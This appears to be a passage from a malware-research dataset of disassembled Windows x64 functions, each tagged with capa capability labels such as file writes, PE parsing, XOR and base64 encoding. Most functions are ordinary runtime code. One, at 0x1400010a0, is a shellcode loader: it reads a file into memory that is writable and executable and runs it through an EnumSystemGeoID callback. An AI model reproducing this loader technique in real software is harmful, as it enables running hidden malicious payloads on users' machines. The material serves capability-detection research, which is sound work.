joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140026440
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14002646d
xor eax, eax
jmp 0x1400265d9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400264a7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400264a7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400265d9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400265cc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400264ea
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140026515
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400265d1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140026584
sub eax, 1
je 0x140026584
cmp eax, 2
jne 0x1400265cc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400265d1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400265b2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400265cc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400265d1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14002dd50
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140027c80
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140027d53
cmp byte [rcx + 0x71], 0
je 0x140027d53
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140027d4f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140027d14
sub eax, 1
je 0x140027d18
cmp eax, 2
jne 0x140027d4f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002dd50
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140027d46
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140027d4f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140027cfc
xor al, al
jmp 0x140027cfc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002dd50
add rsp, 0x60
pop rbx
ret
Function at 0x14002c520
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14002c581
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14002c540
mov ecx, dword [r9]
jmp 0x14002c66b
cmp ecx, 0x4e0
jb 0x14002c66b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14002c5a0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14002c5f0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14002ce60
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14002ce9a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14002ce9f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14002cee8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140032d00]
cmp byte [rcx + rax], 0
je 0x14002cee8
dec r8
sub rdx, 1
jne 0x14002cece
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14002e9e0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002ea2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002ea2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002ea2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002ea2a
cmp dword [rcx + 0x84], 0xe
jbe 0x14002ea2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002ea2c
xor al, al
add rsp, 0x28
ret
Function at 0x14002953c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cc04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cc04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002968c
cmp rax, 0xffffffffffffffff
je 0x14002968c
xor edi, edi
test rbp, rbp
jle 0x140029637
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f530
mov rbx, rax
test rax, rax
jne 0x1400295c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002962d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a538
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d8e0
cmp eax, 0xffffffff
je 0x14002960d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400295d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a538
jmp 0x14002962d
cmp byte [rsi + 0x38], dil
je 0x140029624
cmp dword [rsi + 0x34], 5
jne 0x140029624
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002962d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b2cc
jmp 0x1400296a0
jns 0x1400296a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cc04
cmp rax, 0xffffffffffffffff
jne 0x140029658
cmp byte [rsi + 0x30], dil
je 0x1400296a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400296a0
mov ecx, r14d
call fcn.1400189f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400296a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400296a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029699
mov eax, dword [rsi + 0x2c]
jmp 0x14002969e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cc04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001b28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b72
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b74
xor al, al
add rsp, 0x28
ret
Function at 0x1400010a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push rsi
mov eax, 0x1060
call fcn.140001f00
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1050], rax
xor esi, esi
mov rax, rdx
cmp ecx, 2
je 0x1400010d7
mov qword [0x140003668], rsi
jmp 0x1400011d9
lea rcx, [0x1400022ac]
mov qword [rsp + 0x1070], rbx
mov qword [0x140003668], rcx
xor r9d, r9d
mov rcx, qword [rax + 8]
xor r8d, r8d
mov qword [rsp + 0x30], rsi
mov edx, 0x80000000
mov qword [rsp + 0x1080], rbp
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x1088], rdi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], esi
movsxd rbp, eax
lea rdx, [rsp + 0x50]
mov r8d, ebp
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
nop word [rax + rax]
inc rcx
cmp rcx, 0x1000
jne 0x140001160
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r8, rbp
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbp
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov qword [0x1400036b0], rax
lea r8, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdi, qword [rsp + 0x1088]
mov rbp, qword [rsp + 0x1080]
mov rbx, qword [rsp + 0x1070]
xor edx, edx
lea r8, [0x140001070]
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
xor eax, eax
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140001220
add rsp, 0x1060
pop rsi
ret

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x1800829dc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180082a0c
xor eax, eax
jmp 0x180082acf
mov rbp, rbx
cmp word [rax], si
je 0x180082a31
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180082a18
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180082a14
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800828fc
movsxd r14, eax
test eax, eax
jne 0x180082a6f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180082a05
mov rcx, r14
call fcn.18007d028
mov rdi, rax
test rax, rax
jne 0x180082a88
xor ecx, ecx
call fcn.18007cfec
jmp 0x180082a64
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800828fc
test eax, eax
jne 0x180082ab9
mov rcx, rdi
call fcn.18007cfec
jmp 0x180082ac3
xor ecx, ecx
call fcn.18007cfec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180084e50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18006a030
sub rsp, rax
mov rax, qword [0x1800a4380]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180080e38
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180084e9f
mov rax, rbp
jmp 0x180084fa7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xa6480]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180085f70
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xa6480]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180084fa3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180084fa3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180085f70
test rax, rax
js 0x180084fa3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180084fa3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180084f95
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180084f95
cmp byte [rcx], 0xd
jne 0x180084f7b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180084f8a
cmp byte [rcx + 1], 0xa
jne 0x180084f8a
inc rcx
jmp 0x180084f8a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xa4ce0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180084f5d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180084fa7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18006a000
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800851c8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800851de
mov al, 1
jmp 0x18008523e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800851ef
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18008523c
mov ecx, dword [rcx + 0x18]
nop
call fcn.18008bd88
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18008523c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18008523c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18008523c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18008523e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180085310
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800a6480]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180085367
cmp word [rdx], r13w
jne 0x180085367
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18008536c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180085491
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800854b2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800853a5
mov rdx, r9
mov word [rbx], cx
jmp 0x1800853cc
cmp r9, r8
jae 0x1800853dc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180085386
jmp 0x180085491
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180085486
cmp dword [rsp + 0x80], esi
je 0x180085486
lea r8, [0x1800a6480]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18008545e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18008542e
mov word [rbx], r13w
jmp 0x18008548e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18008543b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18008548e
cmp word [rsp + 0x70], r13w
jne 0x18008546b
cmp rbx, r14
je 0x180085428
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180085f78
cmp word [rsp + 0x70], r13w
je 0x180085491
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800a6480]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18008548b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180085491
Function at 0x180089f68
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.18007d4cc
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18008a009
cmp ebx, dword [rsp + 0x30]
je 0x18008a002
test esi, esi
je 0x18008a002
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x180089fdd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x180089fea
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x180089fc7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x180089fee
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18008a00b
mov eax, 1
jmp 0x18008a00b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001078
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
movzx eax, byte [rdx]
mov r11, rcx
mov r10, qword [rsp + 0x88]
shl eax, 0x18
mov dword [rsp + 0x38], eax
movzx eax, word [rdx + 1]
mov dword [rsp + 0x3c], eax
mov rax, qword [rdx + 3]
add rdx, 0xb
mov qword [rsp + 0x40], rax
mov rax, qword [rcx + 8]
mov qword [r10], rax
mov rax, qword [rcx + 8]
mov qword [rsp + 0x28], r10
movzx ecx, word [rax]
mov dword [r10 + 8], ecx
lea rcx, str.ETW0
mov qword [r10 + 0x10], rdx
mov dword [r10 + 0xc], 2
movzx eax, word [rdx]
lea rdx, [rsp + 0x38]
mov dword [r10 + 0x18], eax
lea rax, [0x14002b898]
sub eax, ecx
mov dword [r10 + 0x1c], 1
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x80]
mov rcx, qword [r11 + 0x20]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_EventWriteTransfer]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000e910
add rsp, 0x58
ret
Function at 0x14000f21c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f266
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f266
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f266
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f266
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f266
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000f268
xor al, al
add rsp, 0x28
ret

Function at 0x14000f870
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x14000f8e8
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x14000f8e8
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x14000f8e8
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x14000f8dc
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x14000f8fa
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x14000f8ca
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x14000f8ea
Function at 0x14000d710
Capabilities:
Encode data using base64

Disassembly:
push rbx
xor r9d, r9d
mov qword [rsp + 0x10], rdi
mov r11, rdx
mov r10, rcx
cmp r8, 0xffffffffffffffff
jne 0x14000d737
or rcx, r8
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rbx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
cmp r8, 2
jbe 0x14000d7de
lea rcx, [r8 - 3]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov rdi, rdx
shr rdi, 1
inc rdi
mov rax, rdi
imul rax, rax, 0xfffffffffffffffd
add r8, rax
nop dword [rax]
movzx eax, byte [r11 + 1]
movzx ecx, byte [r11]
add r9, 4
shl ecx, 8
add r11, 3
or ecx, eax
movzx eax, byte [r11 - 1]
shl ecx, 8
movsxd rdx, ecx
or rdx, rax
mov rax, rdx
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rax + rbx]
mov byte [r10 + r9 - 4], al
mov rax, rdx
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rax + rbx]
mov byte [r10 + r9 - 3], al
